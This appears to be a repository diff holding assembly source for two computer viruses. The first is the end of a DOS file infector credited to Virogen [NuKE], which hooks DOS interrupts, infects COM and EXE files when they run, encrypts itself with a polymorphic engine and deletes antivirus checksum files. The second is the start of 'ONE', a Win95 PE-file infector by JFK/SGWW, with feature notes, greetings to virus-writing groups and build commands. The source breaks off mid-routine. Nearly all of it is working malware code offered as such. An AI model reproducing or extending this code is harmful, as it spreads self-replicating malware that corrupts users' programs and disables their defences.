|
||||
mov ds,ax ; DS=MCB seg
|
||||
mov al,'Z' ; no heuristics
|
||||
cmp byte ptr ds: [0],al ; Is this the last MCB in chain?
|
||||
jnz no_install
|
||||
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
|
||||
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
|
||||
mov es,word ptr ds: [12h] ; get high mem seg
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bp
|
||||
mov cx,virus_size/2+1
|
||||
xor di,di
|
||||
rep movsw ; copy code to new seg
|
||||
xor ax,ax
|
||||
mov ds,ax ; null ds
|
||||
push ds
|
||||
lds ax,ds: [21h*4] ; get 21h vector
|
||||
mov es: word ptr old21+2,ds ; save S:O
|
||||
mov es: word ptr old21,ax
|
||||
pop ds
|
||||
mov ds: [21h*4+2],es ; new int 21h seg
|
||||
mov ds: [21h*4],offset new21 ; new offset
|
||||
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem
|
||||
|
||||
no_install:
|
||||
|
||||
pop es ds ; restore ES DS
|
||||
xor ax,ax ; null regs
|
||||
xor bx,bx
|
||||
xor dx,dx
|
||||
cmp cs: is_exe[bp],1
|
||||
jz exe_return
|
||||
|
||||
lea si,org_bytes[bp] ; com return
|
||||
mov di,0100h ; -restore first 4 bytes
|
||||
mov cx,2
|
||||
rep movsw
|
||||
|
||||
mov cx,100h ; jump back to 100h
|
||||
push cx
|
||||
_ret: ret
|
||||
|
||||
exe_return:
|
||||
mov cx,ds ; calc. real CS
|
||||
add cx,10h
|
||||
add word ptr cs: [exe_jump+2+bp],cx
|
||||
int 3 ; fix prefetch
|
||||
db 0eah
|
||||
exe_jump dd 0
|
||||
is_exe db 0
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Main Infection Routine
|
||||
;
|
||||
infect_file:
|
||||
|
||||
push dx
|
||||
pop si
|
||||
|
||||
push ds
|
||||
xor ax,ax ; null ES
|
||||
mov es,ax
|
||||
lds ax,es: [24h*4] ; get INT 24h vector
|
||||
mov cs: old_24_off,ax ; save it
|
||||
mov cs: old_24_seg,ds
|
||||
mov es: [24h*4+2],cs ; install our handler
|
||||
mov es: [24h*4],offset new_24
|
||||
pop ds
|
||||
push es ; we'll need it later
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,4300h ; get phile attribute
|
||||
int 21h
|
||||
mov ax,4301h ; null attribs
|
||||
push ax cx ; save AX-call/CX-attrib
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ; open the file
|
||||
int 21h
|
||||
jc dont_do
|
||||
|
||||
mov bx,ax ; get handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,20h
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
call kill_anti_virus ; kill validation filez
|
||||
|
||||
cmp byte ptr org_bytes,'M'
|
||||
jz do_exe
|
||||
cmp byte ptr org_bytes,90h ; InVircible bait?
|
||||
jz close
|
||||
cmp byte ptr org_bytes+3,0
|
||||
jz close
|
||||
|
||||
mov is_exe,0
|
||||
|
||||
mov ax,5700h ; get time/date
|
||||
int 21h
|
||||
push cx dx
|
||||
|
||||
call offset_end
|
||||
push ax ; AX=end of file
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor/
|
||||
push di ; encrypted code. (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,ax ; DX=EOF offset
|
||||
add dx,100h ; DX=offset decryptor will run from
|
||||
mov al,00001111b ; jmps,anti-tbscan, garbage, no CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
pop ax ; restore COM file size
|
||||
sub ax,3 ; calculate jmp offset
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
lea dx,new_jmp
|
||||
mov cx,4
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
pop dx cx ; pop date/time
|
||||
mov ax,5701h ; restore the mother fuckers
|
||||
int 21h
|
||||
|
||||
close:
|
||||
|
||||
pop cx ax ; restore attrib
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
dont_do:
|
||||
pop es ; ES=0
|
||||
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
|
||||
mov es: [24h*4],ax
|
||||
mov es: [24h*4+2],ds
|
||||
|
||||
ret
|
||||
|
||||
do_exe:
|
||||
|
||||
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
|
||||
jnz close
|
||||
cmp byte ptr exe_header[18h],52h ; pklite'd?
|
||||
jz exe_ok
|
||||
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
|
||||
jge close
|
||||
exe_ok:
|
||||
push bx
|
||||
|
||||
mov ah,2ch ; grab a random number
|
||||
int 21h
|
||||
mov word ptr exe_header[12h],dx ; mark that it's us
|
||||
mov is_exe,1
|
||||
|
||||
les ax,dword ptr exe_header+14h ; Save old entry point
|
||||
mov word ptr ds: exe_jump, ax
|
||||
mov word ptr ds: exe_jump+2, es
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call offset_end
|
||||
|
||||
push dx ax ; save file size DX:AX
|
||||
|
||||
mov bx, word ptr exe_header+8h ; calc. new entry point
|
||||
mov cl,4 ; *16
|
||||
shl bx,cl ; ^by shifting one byte
|
||||
sub ax,bx ; get actual file size-header
|
||||
sbb dx,0
|
||||
mov cx,10h ; divide AX/CX rDX
|
||||
div cx
|
||||
|
||||
mov word ptr exe_header+14h,dx
|
||||
mov word ptr exe_header+16h,ax
|
||||
mov rel_off,dx
|
||||
|
||||
pop ax ; AX:DX file size
|
||||
pop dx
|
||||
pop bx
|
||||
|
||||
mov cx,virus_size+10h ; calc. new size
|
||||
adc ax,cx
|
||||
|
||||
mov cl,9 ; calc new alloc (512)
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax ; ax=size+virus
|
||||
and ah,1
|
||||
|
||||
mov word ptr exe_header+4h,dx
|
||||
mov word ptr exe_header+2h,ax
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor and
|
||||
push di ; encrypted code (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,rel_off ; DX=offset decryptor will run from
|
||||
mov al,00001110b ; jmps,anti-tbscan,garbage, use CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
|
||||
mov cx,18h ; write fiXed header
|
||||
lea dx,exe_header
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
jmp close
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; set file ptr
|
||||
|
||||
offset_zero: ; self explanitory
|
||||
xor al,al
|
||||
jmp set_fp
|
||||
offset_end:
|
||||
mov al,02h
|
||||
set_fp:
|
||||
mov ah,42h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Kill ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, and Invircible's signature files
|
||||
;
|
||||
kill_anti_virus:
|
||||
push bx
|
||||
mov ah,1ah ; set DTA
|
||||
lea dx,ff_info
|
||||
int 21h
|
||||
mov cx,16h ; include all attribs
|
||||
lea dx,inv_spec
|
||||
mov ah,4eh
|
||||
int 21h ; findfirst
|
||||
jnc inv_loop
|
||||
jmp inv_done
|
||||
inv_loop:
|
||||
lea si,f_name
|
||||
push si
|
||||
mov dx,si
|
||||
cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT?
|
||||
jz is_anti
|
||||
cmp word ptr [si+8],'SM' ; CHKLIST.MS?
|
||||
jz is_anti
|
||||
cmp word ptr [si+8],'PC' ; CHKLIST.CPS?
|
||||
jz is_anti
|
||||
cmp f_sizeh,0 ; high word set?
|
||||
jnz findnext
|
||||
cmp f_sizel,10000 ; > 10000 bytes?
|
||||
jg findnext
|
||||
mov ax,3d00h
|
||||
int 21h
|
||||
jc findnext
|
||||
xchg ax,bx
|
||||
mov ah,3fh
|
||||
mov cl,2
|
||||
lea dx,inv_word
|
||||
int 21h
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov ax,word ptr inv_word
|
||||
mov cl,4
|
||||
lea si,false_struct
|
||||
test_false: ; test for false positives
|
||||
cmp ax,[si]
|
||||
jz findnext
|
||||
inc si
|
||||
inc si
|
||||
loop test_false
|
||||
|
||||
xor al,ah ; xor first byte by second
|
||||
lea si,iv_struct
|
||||
mov cl,6
|
||||
test_iv: ; test if invircible
|
||||
cmp al,[si]
|
||||
jz is_anti
|
||||
inc si
|
||||
loop test_iv
|
||||
jmp findnext
|
||||
is_anti:
|
||||
mov ax,4301h ; reset attribs
|
||||
xor cx,cx
|
||||
int 21h
|
||||
mov ah,41h
|
||||
lea dx,f_name
|
||||
int 21h
|
||||
findnext:
|
||||
mov al,0 ; null out filename
|
||||
pop di ; di-> fname
|
||||
mov cl,13
|
||||
rep stosb
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jc inv_done
|
||||
jmp inv_loop
|
||||
inv_done:
|
||||
pop bx
|
||||
ret
|
||||
|
||||
inv_word dw 0
|
||||
inv_spec db '*.*',0
|
||||
iv_struct db 5Fh,1Bh,0C4h,17h,3Dh,8Ah ; Inv Positives
|
||||
false_struct dw 'ZM' ; EXE Header
|
||||
dw 'KP' ; PKZIP archive
|
||||
dw 0EA60h ; ARJ archive
|
||||
dw 'ER' ; REM in batch files
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; new 21h
|
||||
|
||||
new21:
|
||||
|
||||
pushf
|
||||
cmp ax,signal ; be it us?
|
||||
jnz nchk ; richtig..
|
||||
cmp dx,vsafe_word
|
||||
jnz nchk
|
||||
xor si,si
|
||||
mov di,4559h
|
||||
jmp jmp_org
|
||||
nchk: cmp ax,4b00h ; execute phile?
|
||||
jnz jmp_org
|
||||
|
||||
push ax bx cx di dx si ds es
|
||||
call infect_file
|
||||
pop es ds si dx di cx bx ax
|
||||
|
||||
jmp_org:
|
||||
popf
|
||||
db 0eah ; jump far XXXX:XXXX
|
||||
old21 dd 0
|
||||
|
||||
new_24: ; critical error handler
|
||||
mov al,3 ; prompts suck, return fail
|
||||
iret
|
||||
|
||||
|
||||
credits db 'One/Thirteenth, coded by ûirogen [NuKE]'
|
||||
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
|
||||
rel_off dw 0
|
||||
exe_header:
|
||||
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
|
||||
vend: ; end of virus on disk .. heap
|
||||
db 16h dup(0) ; remaining exe header space
|
||||
old_24_off dw 0 ; old int24h vector
|
||||
old_24_seg dw 0
|
||||
ff_info db 26 dup(0)
|
||||
f_sizel dw 0
|
||||
f_sizeh dw 0
|
||||
f_name db 13 dup(0)
|
||||
cseg ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,701 @@
|
||||
|
||||
; ONE V1.0b By JFK/SGWW
|
||||
;
|
||||
;
|
||||
; ONE is not only my first Win95 virus, but also my first virus
|
||||
; which I have released. I'm not really all that proud of it,
|
||||
; cause it didn't turn out at all to be what I had expected. But hey,
|
||||
; maybe next time :) Hmmm, this virus really has no chance of
|
||||
; spreading because it never moves out of its current directory.
|
||||
; It's more or less just a learning experience.
|
||||
;
|
||||
; Features:
|
||||
; * File Mapping (though it's sorta pointless because off all
|
||||
; the normal reads)
|
||||
; * Capable of infecting read only files.
|
||||
; * Only increases a files size if it has to.
|
||||
; * LOTS O' COMMENTS!!!! :-)
|
||||
;
|
||||
; Description:
|
||||
; One will look in the current directory for *.exe files until
|
||||
; it finds one that it should/can infect or until there are no
|
||||
; more exe files. When a exe file is found, One reads in the PE
|
||||
; header, and object table. One closes the file and looks for
|
||||
; the next exe file if it determines the current file has already
|
||||
; been infected. If the file has not been infected, One figures
|
||||
; out all the new sizes of objects and stuff like that for the
|
||||
; host. One then maps the file to memory, fills in the new PE
|
||||
; header, object table, and appends the virus code to the end of
|
||||
; the last object. One then unmaps the file, and closes it which
|
||||
; automatically saves the changes made while mapped. One then
|
||||
; starts all over looking for more *.exe files, if one is not found,
|
||||
; control is given to the host's original entry point.
|
||||
;
|
||||
; Notes:
|
||||
; * ONE will NOT work on WinNT
|
||||
; * First generations crash. (because OldEA is 0)
|
||||
; * Some code was taken from Mr. Klunky by DV8 and Yurn by Virogen.
|
||||
;
|
||||
; Greetz:
|
||||
; Dakota: Your web page looks pretty nice!
|
||||
; #virus & #vir (undernet): hiya :)
|
||||
; SGWW: Thanx for accepting me as one of you.
|
||||
; paw: Watch out pal, I've been practicing my trivia!
|
||||
; RAiD: alt.comp.virus.raid-vs-avers??? :)
|
||||
; Yesna: Did you forget your password on X? You never have ops! =)
|
||||
; Opic: Did you find any good BBS's yet!?!? heheh
|
||||
; LovinGod: You need a book on winsock bro! ;)
|
||||
; Virogen: Ok, so this is not exactly the kernel infector I was talking about.
|
||||
; Gloomy: ne ebi mozgi! :))))
|
||||
;
|
||||
; Assemble with:
|
||||
; tasm32 -ml -m5 -q -zn one.asm
|
||||
; tlink32 -Tpe -c -x -aa one,,, import32
|
||||
; pewrsec one.exe
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
|
||||
include Win32API.inc
|
||||
|
||||
v_size equ v_end - v_start ;Virus absolute size in filez.
|
||||
|
||||
|
||||
extrn ExitProcess :proc
|
||||
|
||||
.data
|
||||
db ? ;Some dummy data so tlink32 dont yell.
|
||||
|
||||
.code
|
||||
v_start:
|
||||
push eax ;Save room for old Entry Point.
|
||||
pushad ;Save registers.
|
||||
add esp, 36d ;ESP->After saved registers+4.
|
||||
|
||||
call OldTrick ;Get delta offset.
|
||||
OldTrick: pop ebp
|
||||
sub ebp, offset OldTrick ;EBP = delta offset.
|
||||
|
||||
mov eax, [ebp+OldEA] ;Address for return.
|
||||
push eax ;Save it.
|
||||
sub esp, 32d ;Fix stack.
|
||||
|
||||
mov eax, 15d
|
||||
mov [ebp+lpfGetProcAddress], eax
|
||||
|
||||
findK32PEHeader:
|
||||
mov edi, 0BFF6FFFFh ;Will be inc'ed later
|
||||
mov ecx, 00000300h ;Scan this many bytes.
|
||||
mov eax, 00004550h ;Scan for "PE\0\0".
|
||||
|
||||
F_PE_I_Edi:
|
||||
inc edi
|
||||
Find_PE:
|
||||
repne scasb ;Repeat while not equal, scan byte.
|
||||
jne RestoreHost ;Bomb if not found.
|
||||
|
||||
cmp [edi-1], eax ;Is this dword "PE/0/0"?
|
||||
jne Find_PE ;Nope, continue scanning.
|
||||
|
||||
dec edi ;EDI was +1 off from Repne Scasb
|
||||
mov bx, word ptr [edi+16h] ;Get characteristics word.
|
||||
and bx, 0F000h ;Unmask the bytes we need.
|
||||
cmp bx, 2000h ;Is it 2000h (a DLL)?
|
||||
jne F_PE_I_Edi ;It's not a Dll, so it cant be the Kernel.
|
||||
|
||||
mov eax, [edi+34h] ;EAX = Image Base (or Image Handle)
|
||||
mov [ebp+K32Base], eax ;Save Image base.
|
||||
mov ebx, [edi+78h] ;Get RVA of Export Table.
|
||||
add ebx, [ebp+K32Base] ;Add Base Address.
|
||||
mov edi, [ebx+20h] ;EDI=RVA Export Name Table Pointers.
|
||||
add edi, [ebp+K32Base] ;Add Base Address.
|
||||
|
||||
;Determine offset for unnamed functions.
|
||||
mov ecx, [ebx+14h] ;Number of functions...
|
||||
sub ecx, [ebx+18h] ;...less number of names...
|
||||
mov eax, 4 ;...times by four.
|
||||
mul ecx ;Do it.
|
||||
mov [ebp+UnnamedOffset], eax ;Save it.
|
||||
|
||||
;Calculate number of double words in string pointer array.
|
||||
mov ecx, [ebx+18h] ;Number of names...
|
||||
mov eax, 4 ;...times by four.
|
||||
mul ecx ;Do it.
|
||||
xchg ecx, eax ;CX=Num dwords.
|
||||
|
||||
mov edx, edi ;Mul fucked up EDX,EDX=start of array.
|
||||
|
||||
CheckFunctionName:
|
||||
sub ecx, 4 ;Next name.
|
||||
mov edi, edx ;Base address...
|
||||
add edi, ecx ;...plus array index.
|
||||
mov edi, [edi] ;Get RVA of name.
|
||||
add edi, [ebp+K32Base] ;Add base address.
|
||||
|
||||
lea esi, [ebp+lpfGetProcAddress] ;GetProcAddress record.
|
||||
lea eax, [ebp+lpfGetProcAddress] ;Save entry point here.
|
||||
call ExtractAbsoluteAddress ;Check this name for it.
|
||||
|
||||
cmp ecx, 0 ;Checked all the names?
|
||||
jne CheckFunctionName ;Nope. Check the next name.
|
||||
|
||||
cmp [ebp+lpfGetProcAddress], 00h ;Did we get it?
|
||||
je RestoreHost ;Nope! :(
|
||||
|
||||
;Get all of our needed API offsets from memory.
|
||||
lea esi, [ebp+ImportTable] ;Start of stucture for offsets.
|
||||
mov edx, esi ;Same.
|
||||
GFO_NextChar:
|
||||
mov bl, [edx] ;bl = next char in table.
|
||||
cmp bl, 0 ;Is it 0?
|
||||
je GFO_ItsZero ;Yeah.
|
||||
cmp bl, '-' ;Is it the end of the table?
|
||||
je After_GFO ;Yeah, continue.
|
||||
inc edx ;Next char.
|
||||
jmp GFO_NextChar ;Loop.
|
||||
GFO_ItsZero:
|
||||
inc edx ;EDX -> where offset will go.
|
||||
mov eax, esi ;EAX -> function name.
|
||||
push edx ;Save EDX.
|
||||
call MyGetProcAddress ;Get this function's offset.
|
||||
jc RestoreHost ;Quit on fail.
|
||||
pop edx ;Restore EDX.
|
||||
mov [edx], eax ;Save offset.
|
||||
add edx, 4 ;EDX -> next functions name.
|
||||
mov bl, [edx] ;BL = first char of name.
|
||||
cmp bl, '-' ;Are we done yet?
|
||||
je After_GFO ;Yep.
|
||||
mov esi, edx ;ESI -> Next functions name.
|
||||
inc edx ;Check next char.
|
||||
jmp GFO_NextChar ;Do it.
|
||||
After_GFO:
|
||||
|
||||
;Look for FIRST *.exe file.
|
||||
lea eax, [ebp+FoundFileData] ;Where to store results.
|
||||
push eax
|
||||
lea eax, [ebp+lpsExeFiles] ;Name of files to look for.
|
||||
push eax
|
||||
call [ebp+lpfFindFirstFileA] ;Direct API call.
|
||||
;On return, if a file with the name is found, eax = the handle,
|
||||
;otherwise eax=FFFFFFFF
|
||||
cmp eax, 0FFFFFFFFh ;No file found?
|
||||
je RestoreHost ;No more exe files in this folder.
|
||||
mov [ebp+FoundFileHandle], eax ;Save handle.
|
||||
|
||||
MainLoop:
|
||||
call ReadInPEHeader ;Read in the files PE header.
|
||||
cmp ebx, 0 ;Did we fail?
|
||||
je FindNextFile ;Next file on failure.
|
||||
|
||||
call SetNOAttribs ;Remove files attributes.
|
||||
jc FindNextFile ;Couldnt set attributes.
|
||||
|
||||
call OpenFile ;Open the file.
|
||||
jc FindNextFile ;Couldnt open file.
|
||||
|
||||
call MapFile ;Map this file into memory
|
||||
jc MapFailed ;Couldn't map file.
|
||||
|
||||
call InfectFile ;Infect it.
|
||||
|
||||
push dword ptr [ebp+MapBaseAddr]
|
||||
call [ebp+lpfUnmapViewOfFile] ;Unmap this file from memory.
|
||||
|
||||
MapFailed:
|
||||
call CloseFile ;Close the file.
|
||||
|
||||
call RestoreAttribs ;Restore the original attributes.
|
||||
|
||||
|
||||
FindNextFile:
|
||||
lea eax, [ebp+FoundFileData] ;Where to store results.
|
||||
push eax
|
||||
push dword ptr [ebp + offset FoundFileHandle]
|
||||
;Handle from previous searches.
|
||||
call [ebp+lpfFindNextFileA] ;Do it.
|
||||
or eax, eax ;Success?
|
||||
jnz MainLoop ;Yes, Continue search.
|
||||
|
||||
RestoreHost:
|
||||
popad
|
||||
ret
|
||||
|
||||
;***********************
|
||||
;****** Functions ******
|
||||
;***********************
|
||||
|
||||
;**** InfectFile ****
|
||||
|
||||
InfectFile PROC
|
||||
;Append virus code to end of last object.
|
||||
mov edx, [ebp+OldPhysSize] ;Physical size of object.
|
||||
add edx, [esi+20d] ;Physical offset of object.
|
||||
add edx, [ebp+MapBaseAddr] ;Plus of mapped object.
|
||||
|
||||
lea eax, v_start ;EAX = start of virus.
|
||||
add eax, ebp ;Plus delta offset.
|
||||
|
||||
mov ecx, v_size ;Number of bytes to write.
|
||||
call WriteMem ;write it.
|
||||
|
||||
;Write new object table to host.
|
||||
mov eax, [ebp+MapBaseAddr] ;EAX -> base of mapped object.
|
||||
add eax, 3Ch ;Offset of -> to PE header.
|
||||
mov eax, [eax] ;EAX -> PE header
|
||||
add eax, [ebp+MapBaseAddr] ;Add base of mapped object.
|
||||
add eax, 18h ;EAX -> AFTER flags field.
|
||||
xor edx, edx ;EDX = 0h
|
||||
mov dx, [ebp+NT_HDR_Size] ;EDX = Size of header.
|
||||
add edx, eax
|
||||
|
||||
lea eax, ObjectTable ;EAX -> new object table.
|
||||
add eax, ebp ;Add delta offset.
|
||||
|
||||
mov ecx, 240d ;Size of new object table.
|
||||
call WriteMem ;Write it.
|
||||
|
||||
;Write new PE header to host.
|
||||
mov edx, [ebp+MapBaseAddr] ;EDX -> base of mapped object.
|
||||
add edx, 3Ch ;Offset of -> to PE header.
|
||||
mov edx, [edx] ;EDX -> PE header
|
||||
add edx, [ebp+MapBaseAddr] ;Add base of mapped object.
|
||||
|
||||
lea eax, PE_Header ;EAX = offset of new PE header.
|
||||
add eax, ebp ;Plus delta offset.
|
||||
|
||||
mov ecx, 54h ;Size of new PE header.
|
||||
call WriteMem ;Write it.
|
||||
|
||||
ret
|
||||
InfectFile ENDP
|
||||
|
||||
;**** WriteMem ****
|
||||
|
||||
WriteMem PROC
|
||||
WM_NextByte:
|
||||
mov bl, [eax] ;Byte from virus.
|
||||
mov [edx], bl ;Write to host.
|
||||
dec ecx ;One less byte to write.
|
||||
inc eax ;Next virus byte.
|
||||
inc edx ;Next target byte.
|
||||
cmp ecx, 0 ;Did we write the whole virus?
|
||||
jne WM_NextByte ;Nope, do next byte.
|
||||
ret
|
||||
WriteMem ENDP
|
||||
|
||||
;**** ReadInPEHeader ****
|
||||
|
||||
ReadInPEHeader PROC
|
||||
call SetNOAttribs ;Needed for OpenFile.
|
||||
jc RIPH_Failed ;Couldnt remove attributes.
|
||||
call OpenFile ;Open the file.
|
||||
jc RIPH_Failed ;Couldnt open this file.
|
||||
|
||||
;Move file pointer to where the offset to PE should be.
|
||||
push 0 ;FILE_BEGIN = 00000000h
|
||||
push 0 ;High order 32 bits to move.
|
||||
mov eax, 3Ch ;-> offset of PE header.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||||
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||||
|
||||
;Read in offset of PE header in file.
|
||||
push 0
|
||||
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||||
push eax
|
||||
push 4 ;# of bytes to read.
|
||||
lea eax, [ebp+DataFromFile] ;Buffer for read.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||||
call [ebp+lpfReadFile] ;Read from file.
|
||||
|
||||
;Move the file pointer to the PE header.
|
||||
push 0 ;FILE_BEGIN = 00000000h
|
||||
push 0 ;High order 32 bits of move.
|
||||
mov eax, [ebp+DataFromFile] ;Offset of PE header.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||||
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||||
|
||||
;Read in the PE header.
|
||||
push 0
|
||||
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||||
push eax
|
||||
push 54h ;# of bytes to read.
|
||||
lea eax, [ebp+PE_Header] ;Buffer for read.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||||
call [ebp+lpfReadFile] ;Read from file.
|
||||
|
||||
;Do some checks.
|
||||
mov eax, [ebp+FileBytesRead] ;# of bytes read.
|
||||
cmp eax, 54h ;Did we read in enough?
|
||||
jne RIPH_Failed ;Nope.
|
||||
mov eax, [ebp+Reserved9] ;EAX = infection marker.
|
||||
cmp eax, 0h ;Is it infected already?
|
||||
jne RIPH_Failed ;Yes.
|
||||
mov ax, word ptr [ebp+Sig_Bytes] ;PE signature.
|
||||
cmp ax, 'EP' ;Is this a PE file?
|
||||
jne RIPH_Failed ;Nope.
|
||||
mov ax, [ebp+NumbOfObjects] ;Number of objects in file.
|
||||
cmp ax, 6 ;Too many objects?
|
||||
ja RIPH_Failed ;Yep
|
||||
|
||||
;Move file pointer to object table in file.
|
||||
push 0 ;FILE_BEGIN = 00000000h
|
||||
push 0 ;High order 32 bits of move.
|
||||
xor eax, eax
|
||||
mov ax, [ebp+NT_HDR_Size] ;NT header size.
|
||||
add eax, [ebp+DataFromFile] ;Plus offset to PE header.
|
||||
add eax, 18h ;AFTER flags field in header.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||||
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||||
|
||||
;Read in object table.
|
||||
push 0
|
||||
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||||
push eax
|
||||
push 240d ;# of bytes to read.
|
||||
lea eax, [ebp+ObjectTable] ;Buffer for read.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||||
call [ebp+lpfReadFile] ;Read from file.
|
||||
|
||||
;Do some checks.
|
||||
mov eax, [ebp+FileBytesRead] ;# of bytes read.
|
||||
cmp eax, 240d ;Did we read enough?
|
||||
jne RIPH_Failed ;Nope.
|
||||
|
||||
;Save Original entry point.
|
||||
mov eax, [ebp+ImageBase] ;Files base address
|
||||
add eax, [ebp+EntryPointRVA] ;Plus entrypoint RVA.
|
||||
mov [ebp+OldEA], eax ;Save it.
|
||||
|
||||
;** Figure out sizes for object and size of file **
|
||||
|
||||
;Get offset to DATA of the object we will infect.
|
||||
xor eax, eax
|
||||
mov ax, [ebp+NumbOfObjects] ;Number of objects.
|
||||
dec eax ;We want last object.
|
||||
mov ecx, 40 ;Each object 40 bytes
|
||||
xor edx, edx
|
||||
mul ecx ;#OfObj-1*40=last object.
|
||||
lea esi, [ebp+ObjectTable] ;ESI -> object table.
|
||||
add esi, eax ;ESI = ptr to last Object Entry.
|
||||
|
||||
;Set new physical size for object.
|
||||
mov ecx, dword ptr [ebp+FileAlign] ;Get file alignment.
|
||||
mov eax, [esi+16d] ;Get physical size of object.
|
||||
mov [ebp+OldPhysSize], eax ;Save it.
|
||||
push eax ;Save for figuring new entry point.
|
||||
add eax, v_size ;Size of virus.
|
||||
call AlignFix ;Figure new size.
|
||||
mov dword ptr [esi+16d], eax ;Set new physical size.
|
||||
|
||||
;Set new virtual size for object.
|
||||
mov ecx, dword ptr [ebp+ObjectAlign] ;Get object alignment.
|
||||
push ecx ;Save for below.
|
||||
mov eax, [esi+8] ;Get object virtual size.
|
||||
add eax, v_size ;Add our virtual size.
|
||||
call AlignFix ;Set on obj alignment.
|
||||
mov dword ptr [esi+8], eax ;Set new virtual size.
|
||||
|
||||
mov [esi+36d], 0C0000040h ; set object flags
|
||||
|
||||
;Set new image size.
|
||||
pop ecx ;ECX = object alignment vlaue.
|
||||
mov eax, v_size ;EAX = size of virus.
|
||||
add eax, dword ptr [ebp+ImageSize] ;add to old image size
|
||||
call AlignFix ;Figure new size.
|
||||
mov [ebp+ImageSize], eax ;Set new ImageSize.
|
||||
|
||||
;Set new entrypoint.
|
||||
pop eax ;EAX = physical size of infected object.
|
||||
add eax, [esi+12d] ;Add objects RVA.
|
||||
mov [ebp+EntryPointRVA], eax ;Set new entrypoint.
|
||||
|
||||
;** Figure new physical size for mapping. **
|
||||
|
||||
;Get files size.
|
||||
push 0
|
||||
push dword ptr [ebp+OpenFileHandle] ;Handle of file.
|
||||
call [ebp+lpfGetFileSize] ;Get the files size in bytes.
|
||||
mov [ebp+SizeOfHost], eax ;Save size.
|
||||
mov [ebp+Reserved9], eax ;Mark as infected.
|
||||
|
||||
;Figure new size.
|
||||
mov ebx, [esi+16d] ;Object physical size.
|
||||
add ebx, [esi+20d] ;Add physical offset of object.
|
||||
cmp ebx, eax ;Which is larger?
|
||||
ja RIPH_NewSize ;File size should be larger.
|
||||
|
||||
jmp RIPH_Done ;Return success.
|
||||
|
||||
RIPH_NewSize:
|
||||
mov ecx, [ebp+FileAlign] ;File align value
|
||||
mov eax, ebx ;Size now.
|
||||
call AlignFix ;Figure new size.
|
||||
mov [ebp+SizeOfHost], eax ;Save new size.
|
||||
jmp RIPH_Done
|
||||
|
||||
RIPH_Failed:
|
||||
xor ebx, ebx ;Mark failure.
|
||||
|
||||
RIPH_Done:
|
||||
call CloseFile ;Close the file.
|
||||
